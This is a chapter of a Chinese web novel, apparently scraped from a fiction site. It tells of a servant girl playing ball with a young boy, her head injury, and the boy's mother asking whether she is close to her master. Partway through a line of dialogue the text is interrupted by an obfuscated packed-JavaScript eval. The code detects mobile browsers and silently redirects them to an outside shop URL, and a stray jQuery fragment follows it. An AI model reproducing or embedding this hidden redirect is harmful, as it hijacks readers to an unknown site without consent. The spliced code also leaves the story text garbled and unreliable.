文趣网 > 其他小说 > 绾君心 > 61. 受伤
    次日清晨,沈时舟收拾完刚想去府衙,忽然间又折返了回来。

    “公子,你怎么又回来了?是落了什么东西吗?”慕容枝停下了手中的活,伸手掸了掸手上的泥土,连忙上前来。

    “阿贵呢,我有事要交代他。”

    “阿贵说是一大早便奉了夫人的口信,去沈府请大公子一家回来。”

    沈时舟本来还担心忘记少不了母亲的一顿责备,如今母亲既然同阿贵亲自说了,那他便放心了。

    “那就好,我走了,你在府里做些轻活,别累着了。”

    “好,公子莫要挂念,快些去吧,别晚了。”

    另一头,沈府内,沈时清的发妻唐婉正在院内给他整理衣冠。

    “今日莫要在官署里停留太久,母亲唤我们早些回老宅看看。”

    “知道了。”他一把抱起身边的小童,“湘儿,今日同你母亲回府上看望祖母,要谨言慎行,莫闯了祸事。”

    “孩儿谨记父亲教诲。”小孩说完便扭动着身子想要从父亲身上下来。

    唐婉伸手将他抱下来护在身边,“知道了,不用担心,我会看着湘儿的,我俩先去,你随后再去。”

    “记得让下人提前将马车备好,还有——”

    “好了好了。”唐婉嫌他啰嗦,“你快些去吧,早去早回。”

    每次出门他都要叮嘱多次,仿佛她这么大的人会走丢似的。赶忙将打断他的话,推着他往外走,小童见母亲这样做。便也有样学样把父亲往外推。

    “好好好,我走,莫再推了。”

    “你倒是走啊。”唐婉看到他又停住了脚步,不禁胸口泛起了一阵无名火。

    “娘子莫不是忘了什么?”

    唐婉定定地看着他,眉头紧锁着,刚想开口发问,下一秒他夫君便朝她脸上亲了一口。羞的她瞬间耳根发烫。

    “这回可以了吧,你总能走了吧。”

    沈时清看着娘子脸红的样子,强压住心头那份悸动,喉咙动了动,嘴里吞吞吐吐道,“好,那我走了。”

    待她走远,唐婉才稍稍送了口气。平日里他夫君冷静自持,行事果敢,可人后却像个缠人的妖精,每天变了法的与自己亲近。

    若是同外人说大抵别人也会笑她身在福中不知福。虽然大部分时候她还是吃他这套的,但耐不住次数多了后,有时候她也是真的有点不堪其扰。这大概就是不能同人说的甜蜜的负担吧。

    “母亲,我要去看祖母,我要去看祖母。”

    唐婉伸手将他抱在怀里,替他理了理额间的碎发,“湘儿乖,我们收拾收拾便去。”

    “那还要多久,我很想祖母。”

    “很快,阿娘保证。”

    “好耶好耶。”少儿如银铃般的笑声回荡在檐边屋角,也暖化了一位母亲的心。

    太守府前,一辆马车稳稳地停在了门前。

    沈夫人一大早便在门口候着,见唐婉领着湘儿从那车上下来,连忙过去牵住湘儿的手,另一只手轻轻抚住他的脸颊,“快让祖母看看,我的湘儿怎么清瘦了不少。”

    “母亲,”唐婉躬身行礼,“湘儿最近饭量大涨,许是长身体呢,光忙着贪高了。”

    “是瞧着比之前高了点。”

    “祖母,我要去府里玩。”稚子手中捧着一个彩鞠,另一手摇着祖母的衣裙。

    “好好好,我们去府里玩。”

    沈湘作为长子沈时清的第一个孩子,自然是备受全家人的疼爱。一大早,沈夫人便吩咐下去了,饭菜口味皆按照湘儿的来。

    到了暖阁,沈夫人将他揽在怀里,“湘儿,平日里读书写字可有用功,听夫子的话?”

    “那夫子讲的文章晦涩难懂,我才不感兴趣呢。”他从沈夫人身上跳下来,“还是这彩鞠好玩。”

    “休得无礼!”唐婉出声制止。,

    沈夫人抬手一挥示意他不必如此疾声厉色,“湘儿,读书写字乃立身之根本,瞧你父亲幼时也同你一样顽皮,可每当读书写字时却比谁都积极呢。”

    沈湘不懂祖母说的这些,只是支棱着脑袋问道:“比我二叔还要认真些吗?”

    “你这孩子——”唐婉无奈叹气。

    沈夫人也一愣,随即满脸宠溺地望着他,“那是,比你二叔强上百倍呢。”

    “好耶好耶,阿爹比二叔强。”

    沈夫人望着他认真的小脸和比划的动作,一时啼笑皆非,指着他额头道:“你这小娃娃,倒会向着你阿爹,当真没白疼你。”。

    小孩子的想法果真不是一般人能揣摩的。罢了,毕竟还小,随他去吧。

    “祖母,我要去后园玩蹴鞠,你陪我嘛。”沈湘走到她跟前,抓着她的衣角轻轻摇动。

    “祖母年岁大了,怎么能跑的过你。”唐婉将他拉到身边,“自己先去后园玩,待会阿娘去寻你。”

    沈湘原本亮晶晶的眸子瞬间暗了下去,耷拉着小脑袋,声音软软闷闷,“好吧。”

    可小孩的情绪总是来的快去的也快,下一秒他仿佛被重新注满了活力,“那阿娘一定要来哦。”说完便飞跑出去。

    沈湘抱着彩鞠一个人在园中闲逛,想要寻个宽敞的地方。走着走着,没多久便来到了东院。

    东院与后院隔着条小路紧紧挨着,沈湘探头走了进去。想来二叔这个时辰也不在家,平日里二叔不让他来东院玩,今天他倒想瞧瞧里面到底藏了什么好玩的。

    “你是谁?”

    从这稚子一进门,她便注意到了,探头探脑的,一双眼睛滴溜溜地转。

    “你是谁?”沈湘虽然个头小,挺直了身板确实有几分世家子弟的气质。

    慕容枝被他问的一愣,“我是公子府上的婢女。”

    “我是唐婉的儿子。”稚子有样学样道。

    “谁是唐婉?”她还是没搞清这小孩的来路。不过这学大人理直气壮地样子,倒是让她忍俊不禁。

    沈湘摇头晃脑学着夫子的样子道,“唐婉是沈时清的娘子。”

    慕容一怔才回过神来,唇角的笑意顿时收住。很早便听说沈夫人育有二子,个个文韬武略,冠绝一时。长子名为沈时清,乃取的清明清正之意,早早成家别院而居。想必眼前这个稚子便是那集万千宠爱于一身的沈湘儿了。

    “原来是大少爷家的小郎君。”慕容枝蹲下身来与他平视,抬手轻轻抚了扶他头上的总角,软声笑道:“小娃娃几岁了?”

    “我不是小娃娃了,我已经五岁了,阿娘说我是长大了,是像父亲一样男子汉了。”

    他眉头皱着,奶声奶气地朝着她控诉。这一幕惹得慕容枝忍不住笑出了声。

    “你笑什么?”

    “没,没什么。”慕容枝岔开话题,伸手指了指他手里的东西,“这是何物?”

    “这个嘛。彩鞠。”他朝前一递,“你来陪我玩。”

    她抬手指了指自己,不敢相信自己的耳朵,“可我不会。”

    “我可以教你。”

    “可我还有很多活没做。”

    “本公子许你不用干了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944818|214033||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    慕容枝抿嘴一笑,被这奶娃娃可爱地不行。抬眼瞧了瞧天色还早,便点点头应下了。

    彩鞠在二人脚间传递,孩童银铃般地笑声在二人身边传荡,虽是冬日,不一会二人头上便布满了细碎的汗珠。

    “阿枝。”沈时舟的声音从院外传来。

    沈湘一听心中瞬间慌了起来,脚下的彩鞠也不听话地偏离了弧线,正正好地打在了慕容枝地额头。

    随着“砰”地一声,然后落地便滚落到角落去了。

    慕容枝冷哼一声,抬手抚摸额角,温热的血说着她食指流了下来。

    阿枝!沈时舟一进门便看到慕容枝捂着额头,手上沾了不少血。

    他急忙跑过去,将她扶坐在地上,想要替她擦去脸庞的血印。

    恰好此时,唐婉顺着声音也找到了东院中,还没反应过来,便被沈湘抱在了怀中,“阿娘。”他声音颤抖略带着哭腔,“我不是故意的。”

    沈时舟转过头,死死地盯着沈湘。“你对阿枝做了什么。”

    他的声音陡然提高,将在怀中藏着的沈湘唬的眼眶发红,竟嗷嗷地哭了起来。

    “公子,我没事。”慕容枝拉了拉他的衣角,“小郎君只是不小心将彩鞠踢到了我头上,不碍事的。”

    唐婉抱着孩子走近,顺着慕容枝的话说道,“这位小娘子说的是,小孩子本就顽劣,二郎莫要生气了。”

    “嫂嫂言重了,我刚才语气急了些,是我不对,吓到了湘儿。只是小孩子手下没轻重,嫂嫂还是要多加约束才是。”

    “是,二郎说的对,等我回家必定好好教导他。我瞧着这小娘子留了不少血,还不快快找大夫过来看看包扎一下。”唐婉一边说着,一边安慰着怀中的孩子,“湘儿乖,不哭了。”

    沈时舟这才反应过来,刚才太过着急,竟忘了寻医一事,赶忙从站身来,嘴里念叨着,“我去寻。”

    没走半步又回过头来,“麻烦嫂嫂帮我照顾阿枝。”

    “好。”

    待沈时舟走远后,唐婉将孩子从肩头上抱下来,“你二叔走了,不必再藏着了,你瞧瞧将这小娘子伤的,还不快快道歉。”

    慕容枝本想摆手,可头晕的不行,只能扶着额头听他说。

    沈湘看着它额间流出的血,也知自己又闯了祸事,便将头垂地低低的,“方才是我玩闹失了分寸。伤到了你,还望你莫要见怪。”

    慕容枝闻言心中不安,连忙回道:“小郎君不必如此,是我躲闪不及,与小郎君无关。”

    “湘儿去玩吧。”唐婉将他支开,眼睛直直地盯着眼前之人。

    虽着青布衣,但容貌清丽,举止有礼,倒不像是个会做粗活的婢女。

    “你与二郎什么关系?”

    前些日子听说母亲为二郎寻了位贴身伺候的婢女,当时她还与夫君打赌待不过一日,如今亲眼见到他着急的模样,那种眼神若非心有所属,是断断不会出现的,难不成二人关系当真非同一般。

    “阿枝不明白大娘子何意?”

    “表面意思。”她眉眼含笑望着她。

    “我只是公子身边伺候的丫头,并没有什么其他关系。”

    “哦。”既然她不愿说,唐婉也不再追问,反而换种方式玩笑道:“看二郎刚才那着急模样,我还以为你是他新娶的娘子呢!想来是我看错了。”

    慕容枝先是一怔,等回过味来细细品味这句话后脸倏地通红。

    再回想之前种种,难不成公子对她真有别的想法?